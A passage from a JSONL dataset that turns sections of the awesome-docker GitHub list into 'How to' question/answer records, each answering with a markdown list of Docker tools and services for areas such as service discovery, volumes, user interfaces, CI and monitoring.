[Træfɪk](https://github.com/containous/traefik) - Automated reverse proxy and load-balancer for Docker, Mesos, Consul, Etcd... By [@EmileVauge](https://github.com/emilevauge)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687615"}
{"id": "gh_99aee3a9e6de", "question": "How to: Service Discovery", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [docker-consul](https://github.com/gliderlabs/docker-consul) by [@progrium][progrium]\n-   [docker-dns](https://github.com/bytesharky/docker-dns) - Lightweight DNS forwarder for Docker containers, resolves container names with custom suffixes (e.g. `.docker`) on the host to simplify service discovery by [@bytesharky](https://github.com/bytesharky)\n-   [etcd](https://github.com/etcd-io/etcd) - Distributed reliable key-value store for the most critical data of a distributed system by [@etcd-io](https://github.com/etcd-io) (former part of CoreOS)\n-   [istio](https://github.com/istio/istio) - An open platform to connect, manage, and secure microservices by [@istio](https://github.com/istio)\n-   [proxy](https://github.com/factorish/proxy) :skull: - lightweight nginx based load balancer self using service discovery provided by registrator. by [@factorish](https://github.com/factorish)\n-   [registrator](https://github.com/gliderlabs/registrator) - Service registry bridge for Docker by [@gliderlabs][gliderlabs] and [@progrium][progrium]", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687625"}
{"id": "gh_c53c79323a65", "question": "How to: Volume Management / Data", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Blockbridge](https://github.com/blockbridge/blockbridge-docker-volume) :heavy_dollar_sign:- The Blockbridge plugin is a volume plugin that provides access to an extensible set of container-based persistent storage options. It supports single and multi-host Docker environments with features that include tenant isolation, automated provisioning, encryption, secure deletion, snapshots and QoS. By [@blockbridge](https://github.com/blockbridge)\n-   [Convoy](https://github.com/rancher/convoy) :skull: - an open-source Docker volume driver that can snapshot, backup and restore Docker volumes anywhere. By [@rancher][rancher]\n-   [Docker Machine NFS](https://github.com/adlogix/docker-machine-nfs) :skull: - Activates NFS for an existing boot2docker box created through Docker Machine on OS X.\n-   [Docker Unison](https://github.com/leighmcculloch/docker-unison) - :skull: A docker volume container using Unison for fast two-way folder sync. Created as an alternative to slow boot2docker volumes on OS X. By [@leighmcculloch](https://github.com/leighmcculloch)\n-   - [Label Backup](https://github.com/resulgg/label-backup) - A lightweight, Docker-aware backup agent that automatically discovers and backs up containerized databases (PostgreSQL, MySQL, MongoDB, Redis) based on Docker labels. Supports local storage and S3-compatible destinations with flexible scheduling via cron expressions.\n-   [Docker Volume Backup](https://github.com/offen/docker-volume-backup) Backup Docker volumes locally or to any S3 compatible storage. By [@offen](https://github.com/offen)\n-   [Local Persist](https://github.com/MatchbookLab/local-persist) Specify a mountpoint for your local volumes (created via `docker volume create`) so that files will always persist and so you can mount to different directories in different containers.\n-   [Minio](https://github.com/minio/minio) - S3 compatible object storage server in Docker containers\n-   [Netshare](https://github.com/ContainX/docker-volume-netshare) Docker NFS, AWS EFS, Ceph & Samba/CIFS Volume Plugin. By [@ContainX][containx]\n-   [portworx](https://portworx.com) :heavy_dollar_sign: - Decentralized storage solution for persistent, shared and replicated volumes.\n-   [quobyte](https://www.quobyte.com/) :heavy_dollar_sign: - fully fault-tolerant distributed file system with a docker volume driver\n-   [REX-Ray](https://github.com/rexray/rexray) provides a vendor agnostic storage orchestration engine. The primary design goal is to provide persistent storage for Docker, Kubernetes, and Mesos. By[@thecodeteam](https://github.com/thecodeteam) (DELL Technologies)\n-   [Storidge](https://github.com/Storidge/quick-start) :heavy_dollar_sign: - Software-defined Persistent Storage for Kubernetes and Docker Swarm", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687634"}
{"id": "gh_67a4f14ebaae", "question": "How to: User Interface", "question_body": "About veggiemonk/awesome-docker", "answer": "#### IDE integrations\n\n-   JetBrains IDEs (IntelliJ IDEA, GoLand, WebStorm, CLion etc.) has [built-in Docker plugin](https://www.jetbrains.com/help/idea/docker.html#managing-images)\n-   Eclipse [Docker Tooling plugin](https://www.eclipse.org/community/eclipse_newsletter/2016/july/article2.php)\n-   [denops-docker.vim](https://github.com/skanehira/denops-docker.vim) - :skull: Manage docker containers and images in Vim. By [@skanehira]\n-   [docker.vim](https://github.com/skanehira/docker.vim) :skull: - Manage docker containers and images in Vim. By [@skanehira]\n-   [docker.el](https://github.com/Silex/docker.el) Manage docker from Emacs by [@Silex](https://github.com/Silex)\n\n#### Desktop\n\nNative desktop applications for managing and monitoring docker hosts and clusters\n\n-   [Docker Desktop](https://www.docker.com/products/docker-desktop/) - Official native app. Only for Windows and MacOS\n-   [Docker DB Manager](https://github.com/AbianS/docker-db-manager) - Desktop app for managing Docker database containers with visual interface and one-click operations.\n-   [Dockeron](https://github.com/dockeron/dockeron) :skull: - A project built on Electron + Vue.js for Docker on desktop. [@fluency03](https://github.com/fluency03)\n-   [DockStation](https://github.com/DockStation/dockstation) - A developer centric UI to configure, monitor, and manage services and containers [@dock_station](https://twitter.com/dock_station)\n-   [Lifeboat](https://github.com/jplhomer/lifeboat) - :skull: An easy way to launch Docker projects with a graphical interface on your Mac. [@jplhomer](https://github.com/jplhomer)\n-   [Simple Docker UI](https://github.com/felixgborrego/simple-docker-ui) - built on Electron. By [@felixgborrego](https://github.com/felixgborrego/)\n-   [Stevedore](https://github.com/slonopotamus/stevedore) - Good Docker Desktop replacement for Windows. Both Linux and Windows Containers are supported. [@slonopotamus](https://github.com/slonopotamus)\n\n#### Terminal\n\n##### Terminal UI\n-   [ctop (1)](https://github.com/yadutaf/ctop) - :skull: A command line / text based Linux Containers monitoring tool that works just like you expect (Python) by [@yadutaf](https://github.com/yadutaf)\n-   [ctop (2)](https://github.com/bcicen/ctop) - :skull: Top-like interface for container metrics (Golang) by [@bcicen](https://github.com/bcicen/)\n-   [dive](https://github.com/wagoodman/dive) - A tool for exploring each layer in a docker image. By [wagoodman](https://github.com/wagoodman).\n-   [dockdash](https://github.com/byrnedo/dockdash) detailed stats. By [@byrnedo]\n-   [Docker-mon](https://github.com/icecrime/docker-mon) :skull: - Console-based Docker monitoring by [@icecrime](https://github.com/icecrime)\n-   [dockly](https://github.com/lirantal/dockly) - An interactive shell UI for managing Docker containers by [@lirantal](https://github.com/lirantal)\n-   [DockSTARTer](https://github.com/GhostWriters/DockSTARTer) - DockSTARTer helps you get started with home server apps running in Docker by [GhostWriters](https://github.com/GhostWriters)\n-   [docui](https://github.com/skanehira/docui) - :skull: An interactive shell UI for managing Docker containers. Also works in Windows. By [@skanehira]\n-   [dry](https://github.com/moncho/dry) - An interactive CLI for Docker containers by [@moncho](https://github.com/moncho)\n-   [goManageDocker](https://github.com/ajayd-san/gomanagedocker) - TUI tool to view and manage your docker objects blazingly fast with sensible keybindings, also supports VIM navigation out of the box by [@ajay-dsan](https://github.com/ajayd-san)\n-   [lazydocker](https://github.com/jesseduffield/lazydocker) - The lazier way to manage everything docker. A simple terminal UI for both docker and docker-compose, written in Go with the gocui library. By [@jesseduffield](https://github.com/jesseduffield)\n-   [lazyjournal](https://github.com/Lifailon/lazyjournal) - A interface for reading and filtering the logs output of Docker and Podman containers like [Dozzle](dozzle) but for the terminal with support for fuzzy find, regex and output coloring\n-   [oxker](https://github.com/mrjackwills/oxker) - A simple tui to view & control docker containers. Written in [Rust](https://rust-lang.org/), making heavy use of [ratatui](https://github.com/tui-rs-revival/ratatui) & [Bollard](https://github.com/fussybeaver/bollard), by [@mrjackwills](https://github.com/mrjackwills)\n-   [sen](https://github.com/TomasTomecek/sen) - :skull: Terminal user interface for docker engine, by [@TomasTomecek][tomastomecek]\n\n##### CLI tools\n\n-   [captain](https://github.com/jenssegers/captain) - Easily start and stop docker compose projects from any directory. By [@jenssegers](https://github.com/jenssegers)\n-   [dcinja](https://github.com/Falldog/dcinja) - The powerful and smallest binary size of template engine for docker command line environment. By [@Falldog](https://github.com/Falldog)\n-   [dcp](https://github.com/exdx/dcp) - A simple tool for copying files from containe", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687674"}
{"id": "gh_9a12a13b2b4e", "question": "How to: Base Tools", "question_body": "About veggiemonk/awesome-docker", "answer": "Tools and applications that are either installed inside containers or designed to be run as a [sidecar](https://learn.microsoft.com/en-us/azure/architecture/patterns/sidecar)\n\n-   [amicontained](https://github.com/genuinetools/amicontained) - Container introspection tool. Find out what container runtime is being used as well as features available by [@genuinetools][genuinetools]\n-   [Chaperone](https://github.com/garywiz/chaperone) - A single PID1 process designed for docker containers. Does user management, log management, startup, zombie reaping, all in one small package. by [@garywiz](https://github.com/garywiz)\n-   [ckron](https://github.com/nicomt/ckron) - A cron-style job scheduler for docker, by [@nicomt](https://github.com/nicomt)\n-   [CoreOS][coreos] - Linux for Massive Server Deployments\n-   [distroless](https://github.com/GoogleContainerTools/distroless) - Language focused docker images, minus the operating system, by [@GoogleContainerTools][googlecontainertools]\n-   [docker-alpine](https://github.com/gliderlabs/docker-alpine) - A super small Docker base image _(5MB)_ using Alpine Linux by [@gliderlabs][gliderlabs]\n-   [docker-gen](https://github.com/jwilder/docker-gen) - Generate files from docker container meta-data by [@jwilder][jwilder]\n-   [dockerize](https://github.com/powerman/dockerize) - Utility to simplify running applications in docker containers by [@jwilder][jwilder], [@powerman][powerman]\n-   [GoSu](https://github.com/tianon/gosu) - Run this specific application as this specific user and get out of the pipeline (entrypoint script tool) by [@tianon](https://github.com/tianon)\n-   [is-docker](https://github.com/sindresorhus/is-docker) - Check if the process is running inside a Docker container by [@sindresorhus][sindresorhus]\n-   [lstags](https://github.com/ivanilves/lstags) - sync Docker images across registries by [@ivanilves](https://github.com/ivanilves)\n-   [microcheck](https://github.com/tarampampam/microcheck) - Lightweight health check utilities for Docker containers (75 KB instead of 9.3 MB for httpcheck versus cURL) in pure C - http(s), port checks, and parallel execution are included. by [@tarampampam](https://github.com/tarampampam)\n-   [NVIDIA-Docker](https://github.com/NVIDIA/nvidia-docker) - :skull: The NVIDIA Container Runtime for Docker by [@NVIDIA][nvidia]\n-   [Ofelia](https://github.com/mcuadros/ofelia/) - Ofelia is a modern and low footprint job scheduler for docker environments, built on Go. Ofelia aims to be a replacement for the old fashioned cron. Supports configuration from container labels and/or configuration files.\n-   [SparkView](https://github.com/beyondssl/sparkview-container) - Access VMs, desktops, servers or applications anytime and from anywhere, without complex and costly client roll-outs or user management.\n-   [su-exec](https://github.com/ncopa/su-exec) - This is a simple tool that will simply execute a program with different privileges. The program will be executed directly and not run as a child, like su and sudo does, which avoids TTY and signal issues. Why reinvent gosu? This does more or less exactly the same thing as gosu but it is only 10kb instead of 1.8MB. By [ncopa](https://github.com/ncopa)\n-   [sue](https://github.com/theAkito/sue) - Executes a program as a user different from the user running sue. This is a maintainable alternative to ncopa/su-exec, which is the better tianon/gosu. This one is far better (higher performance, smaller size), than the original gosu, however it is far easier to maintain, than su-exec, which is written in plain C. Made by [Akito][akito]\n-   [supercronic](https://github.com/aptible/supercronic) - crontab-compatible job runner, designed specifically to run in containers by [@aptible](https://github.com/aptible/)\n-   [TrivialRC](https://github.com/vorakl/TrivialRC) - A minimalistic Runtime Configuration system and process manager for containers [@vorakl](https://github.com/vorakl)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687686"}
{"id": "gh_b2b5a05ae66d", "question": "How to: Dockerfile", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [chaperone-docker](https://github.com/garywiz/chaperone-docker) - A set of images using the Chaperone process manager, including a lean Alpine image, LAMP, LEMP, and bare-bones base kits.\n-   [Dockerfile Generator](https://github.com/ozankasikci/dockerfile-generator) `dfg` is both a Go library and an executable that produces valid Dockerfiles using various input channels.\n-   [Dockerfile Project](https://dockerfile.github.io/) - Trusted Automated Docker Builds. Dockerfile Project maintains a central repository of Dockerfile for various popular open source software services runnable on a Docker container.\n-   [dockerfilegraph](https://github.com/patrickhoefler/dockerfilegraph) - Visualize your multi-stage Dockerfiles. By [@PatrickHoefler](https://github.com/patrickhoefler)\n-   [Dockershelf](https://github.com/Dockershelf/dockershelf) - A repository that serves as a collector for docker recipes that are universal, efficient and slim. Images are updated, tested and published daily via a Travis cron job. Maintained by [@CollageLabs](https://github.com/CollageLabs).\n-   [dockmoor](https://github.com/MeneDev/dockmoor) :skull: - Manage docker image references and help to create reproducible builds with Docker. By [@MeneDev](https://github.com/MeneDev)\n-   [Vektorcloud](https://github.com/vektorcloud) - A collection of minimal, Alpine-based Docker images\n\nExamples by:\n\n-   [@0xy](https://gitlab.com/0xy/dockerfiles)\n-   [@arun-gupta](https://github.com/arun-gupta/docker-images)\n-   [@awesome-startup](https://github.com/awesome-startup/docker-compose)\n-   [@crosbymichael](https://github.com/crosbymichael/Dockerfiles)\n-   [@jessfraz](https://github.com/jessfraz/dockerfiles)\n-   [@komljen](https://github.com/komljen/dockerfile-examples)\n-   [@kstaken](https://github.com/kstaken/dockerfile-examples)\n-   [@ondrejmo](https://github.com/ondrejmo/Dockerfiles)\n-   [@vimagick](https://github.com/vimagick/dockerfiles)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687697"}
{"id": "gh_08393690a828", "question": "How to: API Client", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [ahab](https://github.com/instacart/ahab) - Docker event handling with Python by [@instacart](https://github.com/instacart)\n-   [clj-docker-client](https://github.com/into-docker/clj-docker-client) :skull: - Idiomatic Clojure client for the Docker remote API. By [@lispyclouds][lispyclouds]\n-   [contajners](https://github.com/lispyclouds/contajners) - An idiomatic, data-driven, REPL friendly Clojure client for OCI container engines. By [@lispyclouds][lispyclouds]\n-   [Docker Client for JVM](https://github.com/gesellix/docker-client) - A Docker remote api client library for the JVM, written in Groovy by [@gesellix][gesellix]\n-   [Docker Client TypeScript](https://gitlab.com/masaeedu/docker-client) - Docker API client for JavaScript, automatically generated from Swagger API definition from moby repository. By [@masaeedu](https://github.com/masaeedu)\n-   [docker-client](https://github.com/spotify/docker-client) :skull: - Java client for the Docker remote API. By [@spotify][spotify]\n-   [docker-controller-bot](https://github.com/dgongut/docker-controller-bot) - Telegram bot to control docker containers. By [@dgongut](https://github.com/dgongut/)\n-   [docker-it-scala](https://github.com/whisklabs/docker-it-scala) - Docker integration testing kit with Scala by [@whisklabs](https://github.com/whisklabs)\n-   [docker-java-api](https://github.com/amihaiemil/docker-java-api) - Lightweight, truly object-oriented, Java client for Docker's API. By [@amihaiemil](https://github.com/amihaiemil)\n-   [docker-maven-plugin](https://github.com/fabric8io/docker-maven-plugin) - A Maven plugin for running and creating Docker images by [@fabric8io](https://github.com/fabric8io)\n-   [Docker-PowerShell](https://github.com/Microsoft/Docker-PowerShell) - :skull: PowerShell Module for Docker\n-   [Docker.DotNet](https://github.com/Microsoft/Docker.DotNet) - C#/.NET HTTP client for the Docker remote API by [@ahmetb](https://github.com/ahmetb)\n-   [Docker.Registry.DotNet](https://github.com/ChangemakerStudios/Docker.Registry.DotNet) - .NET (C#) Client Library for interacting with a Docker Registry API (v2) [@rquackenbush](https://github.com/rquackenbush)\n-   [dockerfile-maven](https://github.com/spotify/dockerfile-maven) - :skull: A Maven plugin for building and pushing Docker images by [@spotify][spotify]\n-   [dockerode](https://github.com/apocas/dockerode) - Docker Remote API node.js module by [@apocas](https://github.com/apocas)\n-   [DoMonit](https://github.com/eon01/DoMonit) - A simple Docker Monitoring wrapper For Docker API\n-   [go-dockerclient](https://github.com/fsouza/go-dockerclient/) - Go HTTP client for the Docker remote API by [@fsouza](https://github.com/fsouza/)\n-   [Gradle Docker plugin](https://github.com/gesellix/gradle-docker-plugin) - A Docker remote api plugin for Gradle by [@gesellix][gesellix]\n-   [libcompose](https://github.com/docker/libcompose) - :skull: Go library for Docker Compose.\n-   [Portainer stack utils](https://github.com/greenled/portainer-stack-utils) :construction: - Bash script to deploy/update/undeploy Docker stacks in a Portainer instance from a docker-compose yaml file. By [@greenled](https://github.com/greenled).\n-   [sbt-docker-compose](https://github.com/Tapad/sbt-docker-compose) - :skull: Integrates Docker Compose functionality into sbt by [@kurtkopchik](https://github.com/kurtkopchik/)\n-   [sbt-docker](https://github.com/marcuslonnberg/sbt-docker) - Create Docker images directly from sbt by [@marcuslonnberg](https://github.com/marcuslonnberg)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687711"}
{"id": "gh_f15e1b3b6fab", "question": "How to: Development Environment", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [batect](https://github.com/batect/batect) - :skull: build and testing environments as code tool: Dockerised build and testing environments made easy by [@charleskorn](https://github.com/charleskorn)\n-   [Binci](https://github.com/binci/binci) - Containerize your development workflow. (formerly DevLab by [@TechnologyAdvice](https://github.com/TechnologyAdvice))\n-   [Boot2Docker](https://github.com/boot2docker/boot2docker) :skull: - Docker for OSX and Windows\n-   [coder](https://github.com/coder/coder) - remote development machines powered by Terraform or Docker by [@coder](https://github.com/coder)\n-   [construi](https://github.com/lstephen/construi) - Run your builds inside a Docker defined environment by [@lstephen](https://github.com/lstephen)\n-   [Crashcart](https://github.com/oracle/crashcart) - :skull: Sideload Linux binaries into a running container for troubleshooting by [@Oracle][oracle]\n-   [dde](https://github.com/whatwedo/dde) :construction: - Local development environment toolset based on Docker. By [@whatwedo](https://github.com/whatwedo)\n-   [Devstep](https://github.com/fgrehm/devstep) :skull: - Development environments powered by Docker and buildpacks by [@fgrehm][fgrehm]\n-   [Dinghy](https://github.com/codekitchen/dinghy) - :skull: An alternative way to use Docker on Mac OS X using Docker Machine with virtualbox, vmware, xhyve or parallels\n-   [DIP](https://github.com/bibendi/dip) - CLI utility for straightforward provisioning and interacting with an application configured by docker-compose. By [@bibendi](https://github.com/bibendi)\n-   [DLite](https://github.com/nlf/dlite) :skull: - Simplest way to use Docker on OSX, no VM needed. By [@nlf](https://github.com/nlf)\n-   [dobi](https://github.com/dnephin/dobi) - A build automation tool for Docker applications. By [@dnephin](https://github.com/dnephin)\n-   [Docker Missing Tools](https://github.com/nandoquintana/docker-missing-tools) - A set of bash commands to shortcut typical docker dev-ops. An alternative to creating typical helper scripts like \"build.sh\" and \"deploy.sh\" inside code repositories. By [@NandoQuintana](https://github.com/nandoquintana).\n-   [Docker osx dev](https://github.com/brikis98/docker-osx-dev) :skull: - A productive development environment with Docker on OS X by [@brikis98](https://github.com/brikis98)\n-   [Docker-Arch](https://github.com/Ph3nol/Docker-Arch) - Generate Web/CLI projects Dockerized development environments, from 1 simple YAML file. By [@Ph3nol](https://github.com/ph3nol)\n-   [Docker-sync](https://github.com/EugenMayer/docker-sync) - Drastically improves performance ([50-70x](https://github.com/EugenMayer/docker-sync/wiki/4.-Performance)) when using Docker for development on Mac OS X/Windows and Linux while sharing code to the container. By [@EugenMayer](https://github.com/EugenMayer)\n-   [docker-vm](https://github.com/shyiko/docker-vm) - Simple and transparent alternative to boot2docker (backed by Vagrant) by [@shyiko](https://github.com/shyiko)\n-   [DockerBuildManagement](https://github.com/DIPSAS/DockerBuildManagement) - :skull: Build Management is a python application, installed with pip. The application makes it easy to manage a build system based on Docker by configuring a single yaml file describing how to build, test, run or publish a containerized solution.\n-   [DockerDL](https://github.com/matifali/dockerdl) - Deep Learning Docker Images. Don't waste time setting up a deep learning env when you can get a deep learning environment with everything pre-installed.\n-   [Dusty](https://github.com/gamechanger/dusty) - :skull: Managed Docker development environments on OS X\n-   [Eclipse Che](https://github.com/eclipse/che) - Developer workspace server with Docker runtimes, cloud IDE, next-generation Eclipse IDE\n-   [EnvCLI](https://github.com/EnvCLI/EnvCLI) - Replace your local installation of Node, Go, ... with project-specific docker containers. By [@EnvCLI](https://github.com/EnvCLI)\n-   [ESP32 Linux - Docker builder](https://github.com/hpsaturn/esp32s3-linux) - Container solution to compile Linux and develop it for ESP32 microcontrollers - By [@Hpsaturn](https://github.com/hpsaturn)\n-   [footloose](https://github.com/weaveworks/footloose) - :skull: Spin containers that look like Virtual Machines - By [@dlespiau](https://github.com/dlespiau)\n-   [forward2docker](https://github.com/bsideup/forward2docker) :skull: - Utility to auto forward a port from localhost into ports on Docker containers running in a boot2docker VM by [@bsideup](https://github.com/bsideup)\n-   [Gebug](https://github.com/moshebe/gebug) - A tool that makes debugging of Dockerized Go applications super easy by enabling Debugger and Hot-Reload features, seamlessly.\n-   [Kitt](https://github.com/senges/kitt) - A portable and disposable Shell environment, based on Docker and Nix. By [@senges](https://github.com/senges)\n-   [Lando](https://github.com/lando/lando) - Lando is for developers who want to quickly specify and painlessly spin", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687727"}
{"id": "gh_a9884e833d62", "question": "How to: Garbage Collection", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [caduc](https://github.com/tjamet/caduc) - A docker garbage collector cleaning stuff you did not use recently\n-   [Docker Clean](https://github.com/ZZROTDesign/docker-clean) - A script that cleans Docker containers, images and volumes by [@zzrotdesign](https://github.com/ZZROTDesign)\n-   [docker_gc](https://github.com/pdacity/docker_gc) - Image for automatic removing unused Docker Swarm objects. Also works just as Docker Service by [@pdacity](https://github.com/pdacity)\n-   [Docker-cleanup](https://github.com/meltwater/docker-cleanup) :skull: - Automatic Docker image, container and volume cleanup by [@meltwater](https://github.com/meltwater)\n-   [docker-custodian](https://github.com/Yelp/docker-custodian) - Keep docker hosts tidy. By [@Yelp](https://github.com/Yelp)\n-   [docker-garby](https://github.com/konstruktoid/docker-garby) - :skull: Docker garbage collection script by [@konstruktoid](https://github.com/konstruktoid).\n-   [docker-gc](https://github.com/spotify/docker-gc) :skull: - A cron job that will delete old stopped containers and unused images by [@spotify][spotify]\n-   [Docuum](https://github.com/stepchowfun/docuum) - Least recently used (LRU) eviction of Docker images by [@stepchowfun](https://github.com/stepchowfun)\n-   [sherdock](https://github.com/rancher/sherdock) :skull: - Automatic GC of images based on regexp by [@rancher][rancher]", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687734"}
{"id": "gh_c32847588e3c", "question": "How to: Serverless", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [AMP](https://github.com/appcelerator-archive/amp) :skull: - The open source unified CaaS/FaaS platform for Docker, batteries included. By [@Appcelerator](https://github.com/appcelerator-archive)\n-   [Apache OpenWhisk](https://github.com/apache/openwhisk) - a serverless, open source cloud platform that executes functions in response to events at any scale. By [@apache](https://github.com/apache)\n-   [Docker-Lambda](https://github.com/lambci/docker-lambda) - :skull: Docker images and test runners that replicate the live AWS Lambda environment. By [@lamb-ci](https://github.com/lambci)\n-   [Funker](https://github.com/bfirsh/funker-example-voting-app) - Functions as Docker containers example voting app. By [@bfirsh](https://github.com/bfirsh)\n-   [IronFunctions](https://github.com/iron-io/functions) - The serverless microservices platform FaaS (Functions as a Service) which uses Docker containers to run Any language or AWS Lambda functions\n-   [Koyeb](https://www.koyeb.com/) :heavy_dollar_sign: - Koyeb is a developer-friendly serverless platform to deploy apps globally. Seamlessly run Docker containers, web apps, and APIs with git-based deployment, native autoscaling, a global edge network, and built-in service mesh and discovery.\n-   [OpenFaaS](https://github.com/openfaas/faas) - A complete serverless functions framework for Docker and Kubernetes. By [OpenFaaS](https://github.com/openfaas)\n-   [SCAR](https://github.com/grycap/scar) - Serverless Container-aware Architectures (SCAR) is a serverless framework that allows easy deployment and execution of containers (e.g. Docker) in Serverless environments (e.g. Lambda) by [@grycap](https://github.com/grycap)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687741"}
{"id": "gh_20cc50bab9fa", "question": "How to: CI Services", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [CircleCI](https://circleci.com/) :heavy_dollar_sign: - Push or pull Docker images from your build environment, or build and run containers right on CircleCI.\n-   [CodeFresh](https://codefresh.io) :heavy_dollar_sign: - Everything you need to build, test, and share your Docker applications. Provides automated end to end testing.\n-   [CodeShip](https://www.cloudbees.com/products/codeship) :heavy_dollar_sign: - Work with your established Docker workflows while automating your testing and deployment tasks with our hosted platform dedicated to speed and security.\n-   [ConcourseCI](https://concourse-ci.org) :heavy_dollar_sign: - A CI SaaS platform for developers and DevOps teams pipeline oriented.\n-   [Semaphore CI](https://semaphore.io/) :heavy_dollar_sign: — A high-performance cloud solution that makes it easy to build, test and ship your containers to production.\n-   [TravisCI](https://www.travis-ci.com/) :heavy_dollar_sign: - A Free github projects continuous integration Saas platform for developers and Devops.", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687753"}
{"id": "gh_a47b6fe7cddc", "question": "How to: Monitoring Services", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [AppDynamics](https://github.com/Appdynamics/docker-monitoring-extension) - Docker Monitoring extension gathers metrics from the Docker Remote API, either using Unix Socket or TCP.\n-   [Better Stack](https://betterstack.com/community/guides/scaling-docker/) :heavy_dollar_sign: - A Docker-compatible observability stack that delivers robust log aggregation and uptime monitoring capabilities for various software application.\n-   [Broadcom Docker Monitoring](https://www.broadcom.com/info/aiops/docker-monitoring) :heavy_dollar_sign: - Agile Operations solutions from Broadcom deliver the modern Docker monitoring businesses need to accelerate and optimize the performance of microservices and the dynamic Docker environments running them. Monitor both the Docker environment and apps that run inside them. (former CA Technologies)\n-   [Collecting docker logs and stats with Splunk](https://www.splunk.com/en_us/blog/tips-and-tricks/collecting-docker-logs-and-stats-with-splunk.html)\n-   [Datadog](https://www.datadoghq.com/) :heavy_dollar_sign: - Datadog is a full-stack monitoring service for large-scale cloud environments that aggregates metrics/events from servers, databases, and applications. It includes support for Docker, Kubernetes, and Mesos.\n-   [DockStat](https://github.com/its4nik/dockstat) :construction: - A full fletched (WIP) Docker management solution featuring plugin support and community integration by [its4nik](https://github.com/its4nik)\n-   [Prometheus](https://prometheus.io/) :heavy_dollar_sign: - Open-source service monitoring system and time series database\n-   [Site24x7](https://www.site24x7.com/docker-monitoring.html) :heavy_dollar_sign: - Docker Monitoring for DevOps and IT is a SaaS Pay per Host model\n-   [SPM for Docker](https://github.com/sematext/sematext-agent-docker) :heavy_dollar_sign: - Monitoring of host and container metrics, Docker events and logs. Automatic log parser. Anomaly Detection and alerting for metrics and logs. [@sematext](https://github.com/sematext)\n-   [Sysdig Monitor](https://www.sysdig.com/products/monitor) :heavy_dollar_sign: - Sysdig Monitor can be used as either software or a SaaS service to monitor, alert, and troubleshoot containers using system calls. It has container-specific features for Docker and Kubernetes.", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687763"}
{"id": "gh_e72745871e27", "question": "How to: Useful Resources", "question_body": "About veggiemonk/awesome-docker", "answer": "-   **[Valuable Docker Links](http://nane.kratzke.pages.mylab.th-luebeck.de/about/blog/2014/08/24/valuable-docker-links/)** High quality articles about docker! **MUST SEE**\n-   [Cloud Native Landscape](https://github.com/cncf/landscape)\n-   [Docker Blog](https://www.docker.com/blog/) - regular updates about Docker, the community and tools\n-   [Docker Certification](https://intellipaat.com/docker-training-course/?US) :heavy_dollar_sign: will help you to will Learn Docker containerization, running Docker containers, Image creation, Dockerfile, Docker orchestration, security best practices, and more through hands-on projects and case studies and helps to clear Docker Certified Associate.\n\n-   [Docker dev bookmarks](https://www.codever.dev/search?q=docker) - use the tag [docker](https://www.codever.dev/bookmarks/t/docker)\n-   [Docker in Action, Second Edition](https://www.manning.com/books/docker-in-action-second-edition)\n-   [Docker in Practice, Second Edition](https://www.manning.com/books/docker-in-practice-second-edition)\n-   [Docker packaging guide for Python](https://pythonspeed.com/docker/) - a series of detailed articles on the specifics of Docker packaging for Python.\n-   [Learn Docker in a Month of Lunches](https://www.manning.com/books/learn-docker-in-a-month-of-lunches)\n-   [Learn Docker](https://coursesity.com/blog/best-docker-tutorials/) - Learn Docker - curated list of the top online docker tutorials and courses.\n-   [Programming Community Curated 